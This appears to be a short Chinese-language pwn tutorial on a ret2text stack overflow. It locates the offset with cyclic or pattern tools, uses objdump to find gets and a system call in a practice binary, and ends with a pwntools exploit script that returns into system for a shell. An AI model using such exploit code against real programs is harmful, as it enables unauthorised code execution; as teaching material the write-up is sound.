快速定位偏移

Pwndbg:cyclic 200 || cyclic -l 地址

Pwn-peda: pattern create 200 || pattern offset 地址

以下是第二章保护与溢出提到的objdump工具

实例

这里我编写了一个程序ret2text,使用file指令看一下程序。

-t是展示这个程序的所有函数

我们开始看反汇编,当然也可以用gdb里的disass

我们需要找溢出点,这时候来看main函数

发现call了一个gets,我们找到了溢出点,如果我们要用Ret2Text此刻需要找到我们的系统函数

能发现这个我们call了system函数的plt表,以下是secure函数

system在secure函数里面调用了,我们看call了什么函数,是前面0x8048763的call的。所以我们要看前面的内容。

运行之后输入这些字符,用来定位溢出点

可以看到offset是112,我们可以写exp

from pwn import *
p = process("./ret2text")

offset = 112   #测试出的偏移量
payload = offset*b"A" + p32(0x804863a) #我们查找到的system地址
p.sendline(payload)
p.interactive()